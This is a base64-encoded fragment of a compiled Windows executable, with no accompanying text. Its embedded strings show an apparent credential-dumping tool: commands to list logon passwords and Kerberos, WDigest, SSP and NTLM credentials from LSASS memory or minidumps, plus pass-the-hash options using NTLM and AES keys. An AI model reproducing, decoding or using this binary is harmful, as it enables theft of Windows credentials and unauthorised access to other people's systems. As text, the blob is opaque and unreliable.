MAaAAgACgAbwByACAAcgBlAGkAbgBpAHQAKQAgAHQAbwAgAEwAUwBBAFMAUwAgAG0AaQBuAGkAZAB1AG0AcAAgAGMAbwBuAHQAZQB4AHQAAAAAAAAAAABtAGkAbgBpAGQAdQBtAHAAAAAAAAAAAAAAAAAAAAAAAFMAdwBpAHQAYwBoACAAKABvAHIAIAByAGUAaQBuAGkAdAApACAAdABvACAATABTAEEAUwBTACAAcAByAG8AYwBlAHMAcwAgACAAYwBvAG4AdABlAHgAdAAAAAAAAAAAAEwAaQBzAHQAcwAgAGEAbABsACAAYQB2AGEAaQBsAGEAYgBsAGUAIABwAHIAbwB2AGkAZABlAHIAcwAgAGMAcgBlAGQAZQBuAHQAaQBhAGwAcwAAAAAAAABsAG8AZwBvAG4AUABhAHMAcwB3AG8AcgBkAHMAAAAAAEwAaQBzAHQAcwAgAFMAUwBQACAAYwByAGUAZABlAG4AdABpAGEAbABzAAAAAAAAAHMAcwBwAAAATABpAHMAdABzACAATABpAHYAZQBTAFMAUAAgAGMAcgBlAGQAZQBuAHQAaQBhAGwAcwAAAAAAAABsAGkAdgBlAHMAcwBwAAAATABpAHMAdABzACAAVABzAFAAawBnACAAYwByAGUAZABlAG4AdABpAGEAbABzAAAAdABzAHAAawBnAAAAAAAAAEwAaQBzAHQAcwAgAEsAZQByAGIAZQByAG8AcwAgAGMAcgBlAGQAZQBuAHQAaQBhAGwAcwAAAAAATABpAHMAdABzACAAVwBEAGkAZwBlAHMAdAAgAGMAcgBlAGQAZQBuAHQAaQBhAGwAcwAAAAAAAAB3AGQAaQBnAGUAcwB0AAAATABpAHMAdABzACAATABNACAAJgAgAE4AVABMAE0AIABjAHIAZQBkAGUAbgB0AGkAYQBsAHMAAABtAHMAdgAAAAAAAAAAAAAAUwBvAG0AZQAgAGMAbwBtAG0AYQBuAGQAcwAgAHQAbwAgAGUAbgB1AG0AZQByAGEAdABlACAAYwByAGUAZABlAG4AdABpAGEAbABzAC4ALgAuAAAAAAAAAFMAZQBrAHUAcgBMAFMAQQAgAG0AbwBkAHUAbABlAAAAcwBlAGsAdQByAGwAcwBhAAAAAAAAAAAAUwB3AGkAdABjAGgAIAB0AG8AIABQAFIATwBDAEUAUwBTAAoAAAAAAFMAdwBpAHQAYwBoACAAdABvACAATQBJAE4ASQBEAFUATQBQACAAOgAgAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBtAGkAbgBpAGQAdQBtAHAAIAA7ACAAPABtAGkAbgBpAGQAdQBtAHAAZgBpAGwAZQAuAGQAbQBwAD4AIABhAHIAZwB1AG0AZQBuAHQAIABpAHMAIABtAGkAcwBzAGkAbgBnAAoAAAAAAAAAAAAAAAAAAAAAAE8AcABlAG4AaQBuAGcAIAA6ACAAJwAlAHMAJwAgAGYAaQBsAGUAIABmAG8AcgAgAG0AaQBuAGkAZAB1AG0AcAAuAC4ALgAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBhAGMAcQB1AGkAcgBlAEwAUwBBACAAOwAgAEwAUwBBAFMAUwAgAHAAcgBvAGMAZQBzAHMAIABuAG8AdAAgAGYAbwB1AG4AZAAgACgAPwApAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAGEAYwBxAHUAaQByAGUATABTAEEAIAA7ACAATQBpAG4AaQBkAHUAbQBwACAAcABJAG4AZgBvAHMALQA+AE0AYQBqAG8AcgBWAGUAcgBzAGkAbwBuACAAKAAlAHUAKQAgACEAPQAgAE0ASQBNAEkASwBBAFQAWgBfAE4AVABfAE0AQQBKAE8AUgBfAFYARQBSAFMASQBPAE4AIAAoACUAdQApAAoAAAAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AYQBjAHEAdQBpAHIAZQBMAFMAQQAgADsAIABNAGkAbgBpAGQAdQBtAHAAIABwAEkAbgBmAG8AcwAtAD4AUAByAG8AYwBlAHMAcwBvAHIAQQByAGMAaABpAHQAZQBjAHQAdQByAGUAIAAoACUAdQApACAAIQA9ACAAUABSAE8AQwBFAFMAUwBPAFIAXwBBAFIAQwBIAEkAVABFAEMAVABVAFIARQBfAEEATQBEADYANAAgACgAJQB1ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AYQBjAHEAdQBpAHIAZQBMAFMAQQAgADsAIABNAGkAbgBpAGQAdQBtAHAAIAB3AGkAdABoAG8AdQB0ACAAUwB5AHMAdABlAG0ASQBuAGYAbwBTAHQAcgBlAGEAbQAgACgAPwApAAoAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAGEAYwBxAHUAaQByAGUATABTAEEAIAA7ACAASwBlAHkAIABpAG0AcABvAHIAdAAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAGEAYwBxAHUAaQByAGUATABTAEEAIAA7ACAATABvAGcAbwBuACAAbABpAHMAdAAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAGEAYwBxAHUAaQByAGUATABTAEEAIAA7ACAATQBvAGQAdQBsAGUAcwAgAGkAbgBmAG8AcgBtAGEAdABpAG8AbgBzAAoAAAAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AYQBjAHEAdQBpAHIAZQBMAFMAQQAgADsAIABNAGUAbQBvAHIAeQAgAG8AcABlAG4AaQBuAGcACgAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAGEAYwBxAHUAaQByAGUATABTAEEAIAA7ACAASABhAG4AZABsAGUAIABvAG4AIABtAGUAbQBvAHIAeQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AYQBjAHEAdQBpAHIAZQBMAFMAQQAgADsAIABMAG8AYwBhAGwAIABMAFMAQQAgAGwAaQBiAHIAYQByAHkAIABmAGEAaQBsAGUAZAAKAAAAAAAAAAAACQAlAHMAIAA6AAkAAAAAAAoAQQB1AHQAaABlAG4AdABpAGMAYQB0AGkAbwBuACAASQBkACAAOgAgACUAdQAgADsAIAAlAHUAIAAoACUAMAA4AHgAOgAlADAAOAB4ACkACgBTAGUAcwBzAGkAbwBuACAAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAJQBzACAAZgByAG8AbQAgACUAdQAKAFUAcwBlAHIAIABOAGEAbQBlACAAIAAgACAAIAAgACAAIAAgADoAIAAlAHcAWgAKAEQAbwBtAGEAaQBuACAAIAAgACAAIAAgACAAIAAgACAAIAAgADoAIAAlAHcAWgAKAFMASQBEACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADoAIAAAAAAAAAAAAHIAdQBuAAAAAAAAAAAAAAB1AHMAZQByAAkAOgAgACUAcwAKAGQAbwBtAGEAaQBuAAkAOgAgACUAcwAKAHAAcgBvAGcAcgBhAG0ACQA6ACAAJQBzAAoAAABBAEUAUwAxADIAOAAJADoAIAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAHAAdABoACAAOwAgAEEARQBTADEAMgA4ACAAawBlAHkAIABsAGUAbgBnAHQAaAAgAG0AdQBzAHQAIABiAGUAIAAzADIAIAAoADEANgAgAGIAeQB0AGUAcwApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAHAAdABoACAAOwAgAEEARQBTADEAMgA4ACAAawBlAHkAIABvAG4AbAB5ACAAcwB1AHAAcABvAHIAdABlAGQAIABmAHIAbwBtACAAVwBpAG4AZABvAHcAcwAgADgALgAxACAAKABvAHIAIAA3AC8AOAAgAHcAaQB0AGgAIABrAGIAMgA4ADcAMQA5ADkANwApAAoAAABBAEUAUwAyADUANgAJADoAIAAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AcAB0AGgAIAA7ACAAQQBFAFMAMgA1ADYAIABrAGUAeQAgAGwAZQBuAGcAdABoACAAbQB1AHMAdAAgAGIAZQAgADYANAAgACgAMwAyACAAYgB5AHQAZQBzACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AcAB0AGgAIAA7ACAAQQBFAFMAMgA1ADYAIABrAGUAeQAgAG8AbgBsAHkAIABzAHUAcABwAG8AcgB0AGUAZAAgAGYAcgBvAG0AIABXAGkAbgBkAG8AdwBzACAAOAAuADEAIAAoAG8AcgAgADcALwA4ACAAdwBpAHQAaAAgAGsAYgAyADgANwAxADkAOQA3ACkACgAAAG4AdABsAG0AAAAAAAAAAABOAFQATABNAAkAOgAgAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBwAHQAaAAgADsAIABuAHQAbABtACAAaABhAHMAaAAgAGwAZQBuAGcAdABoACAAbQB1AHMAdAAgAGIAZQAgADMAMgAgACgAMQA2ACAAYgB5AHQAZQBzACkACgAAACAAIAB8ACAAIABQAEkARAAgACAAJQB1AAoAIAAgAHwAIAAgAFQASQBEACAAIAAlAHUACgAAAAAAIAAgAHwAIAAgAEwAVQBJAEQAIAAlAHUAIAA7ACAAJQB1ACAAKAAlADAAOAB4ADoAJQAwADgAeAApAAoAAAAAACAAIABcAF8AIABtAHMAdgAxAF8AMAAgACAAIAAtACAAAAAAAAAAAAAgACAAXABfACAAawBlAHIAYgBlAHIAbwBzACAALQAgAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBwAHQAaAAgADsAIABHAGUAdABUAG8AawBlAG4ASQBuAGYAbwByAG0AYQB0AGkAbwBuACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAHAAdABoACAAOwAgAE8AcABlAG4AUAByAG8AYwBlAHMAcwBUAG8AawBlAG4AIAAoADAAeAAlADAAOAB4ACkACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBwAHQAaAAgADsAIABDAHIAZQBhAHQAZQBQAHIAbwBjAGUAcwBzAFcAaQB0AGgATABvAGcAbwBuAFcAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAHAAdABoACAAOwAgAE0AaQBzAHMAaQBuAGcAIABhAHQAIABsAGUAYQBzAHQAIABvAG4AZQAgAGEAcgBnAHUAbQBlAG4AdAAgADoAIABuAHQAbABtACAATwBSACAAYQBlAHMAMQAyADgAIABPAFIAIABhAGUAcwAyADUANgAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AcAB0AGgAIAA7ACAATQBpAHMAcwBpAG4AZwAgAGEAcgBnAHUAbQBlAG4AdAAgADoAIABkAG8AbQBhAGkAbgAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAHAAdABoACAAOwAgAE0AaQBzAHMAaQBuAGcAIABhAHIAZwB1AG0AZQBuAHQAIAA6ACAAdQBzAGUAcgAKAAAAAAAAAAAACgAJACAAKgAgAFUAcwBlAHIAbgBhAG0AZQAgADoAIAAlAHcAWgAKAAkAIAAqACAARABvAG0AYQBpAG4AIAAgACAAOgAgACUAdwBaAAAAAAAKAAkAIAAqACAATABNACAAIAAgACAAIAAgACAAOgAgAAAAAAAAAAAACgAJACAAKgAgAE4AVABMAE0AIAAgACAAIAAgADoAIAAAAAAAAAAAAAoACQAgACoAIABTAEgAQQAxACAAIAAgACAAIAA6ACAAAAAAAAAAAAAAAAAAAAAAAAoACQAgACoAIABGAGwAYQBnAHMAIAAgACAAIAA6ACAAJQAwADIAeAAvAE4AJQAwADIAeAAvAEwAJQAwADIAeAAvAFMAJQAwADIAeAAvACUAMAAyAHgALwAlADAAMgB4AC8AJQAwADIAeAAvACUAMAAyAHgAAAAAAAoACQAgACoAIAB1AG4AawBuAG8AdwAgACAAIAA6ACAAAAAAAAAAAABbADAALgAuADAAXQAAAAAACgAJACAAKgAgAFIAYQB3ACAAZABhAHQAYQAgADoAIAAAAAAAAAAAAAoACQAgACoAIABQAEkATgAgAGMAbwBkAGUAIAA6ACAAJQB3AFoAAAAJACAAIAAgACUAcwAgAAAAPABuAG8AIABzAGkAegBlACwAIABiAHUAZgBmAGUAcgAgAGkAcwAgAGkAbgBjAG8AcgByAGUAYwB0AD4AAAAAACUAdwBaAAkAJQB3AFoACQAAAAAAAAAAAAAAAAAAAAAACgAJACAAKgAgAFUAcwBlAHIAbgBhAG0AZQAgADoAIAAlAHcAWgAKAAkAIAAqACAARABvAG0AYQBpAG4AIAAgACAAOgAgACUAdwBaAAoACQAgACoAIABQAGEAcwBzAHcAbwByAGQAIAA6ACAAAAAAAEwAVQBJAEQAIABLAE8ACgAAAAAAAAAAAAoACQAgACoAIABSAG8AbwB0AEsAZQB5ACAAIAA6ACAAAAAAAAAAAAAKAAkAIAAqACAARABQAEEAUABJACAAIAAgACAAOgAgAAAAAAAAAAAACgAJACAAKgAgACUAMAA4AHgAIAA6ACAAAAAAAAAAAAAKAAkAIABbACUAMAA4AHgAXQAAAAAAAABkAHAAYQBwAGkAcwByAHYALgBkAGwAbAAAAAAAAAAAAAkAIABbACUAMAA4AHgAXQAKAAkAIAAqACAARwBVAEkARAAgACAAIAAgACAAIAA6AAkAAAAAAAAACgAJACAAKgAgAFQAaQBtAGUAIAAgACAAIAAgACAAOgAJAAAAAAAAAAoACQAgACoAIABNAGEAcwB0AGUAcgBLAGUAeQAgADoACQAAAAAAAAAKAAkASwBPAAAAAAAAAAAAVABpAGMAawBlAHQAIABHAHIAYQBuAHQAaQBuAGcAIABUAGkAYwBrAGUAdAAAAAAAQwBsAGkAZQBuAHQAIABUAGkAYwBrAGUAdAAgAD8AAABUAGkAYwBrAGUAdAAgAEcAcgBhAG4AdABpAG4AZwAgAFMAZQByAHYAaQBjAGUAAABrAGUAcgBiAGUAcgBvAHMALgBkAGwAbAAAAAAAAAAAAAoACQBHAHIAbwB1AHAAIAAlAHUAIAAtACAAJQBzAAAACgAJACAAKgAgAEsAZQB5ACAATABpAHMAdAAgADoACgAAAAAAAAAAAGQAYQB0AGEAIABjAG8AcAB5ACAAQAAgACUAcAAAAAAACgAgACAAIABcAF8AIAAlAHMAIAAAAAAALQA+ACAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAGUAbgB1AG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBjAGEAbABsAGIAYQBjAGsAXwBwAHQAaAAgADsAIABrAHUAbABsAF8AbQBfAG0AZQBtAG8AcgB5AF8AYwBvAHAAeQAgACgAMAB4ACUAMAA4AHgAKQAKAAAACgAgACAAIABcAF8AIAAqAFAAYQBzAHMAdwBvAHIAZAAgAHIAZQBwAGwAYQBjAGUAIAAtAD4AIAAAAAAAAAAAAG4AdQBsAGwAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAGsAZQByAGIAZQByAG8AcwBfAGUAbgB1AG0AXwB0AGkAYwBrAGUAdABzACAAOwAgAGsAdQBsAGwAXwBtAF8AZgBpAGwAZQBfAHcAcgBpAHQAZQBEAGEAdABhACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAWwAlAHgAOwAlAHgAXQAtACUAMQB1AC0AJQB1AC0AJQAwADgAeAAtACUAdwBaAEAAJQB3AFoALQAlAHcAWgAuACUAcwAAAAAAWwAlAHgAOwAlAHgAXQAtACUAMQB1AC0AJQB1AC0AJQAwADgAeAAuACUAcwAAAAAAbABpAHYAZQBzAHMAcAAuAGQAbABsAAAAQ3JlZGVudGlhbEtleXMAAFByaW1hcnkACgAJACAAWwAlADAAOAB4AF0AIAAlAFoAAAAAAAAAAABkAGEAdABhACAAYwBvAHAAeQAgAEAAIAAlAHAAIAA6ACAAAAAAAAAATwBLACAAIQAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AbQBzAHYAXwBlAG4AdQBtAF8AYwByAGUAZABfAGMAYQBsAGwAYgBhAGMAawBfAHAAdABoACAAOwAgAGsAdQBsAGwAXwBtAF8AbQBlAG0AbwByAHkAXwBjAG8AcAB5ACAAKAAwAHgAJQAwADgAeAApAAoAAAAuAAAAAAAAAAAAAAAAAAAAbgAuAGUALgAgACgASwBJAFcASQBfAE0AUwBWADEAXwAwAF8AUABSAEkATQBBAFIAWQBfAEMAUgBFAEQARQBOAFQASQBBAEwAUwAgAEsATwApAAAAAAAAAAAAAAAAAAAAbgAuAGUALgAgACgASwBJAFcASQBfAE0AUwBWADEAXwAwAF8AQwBSAE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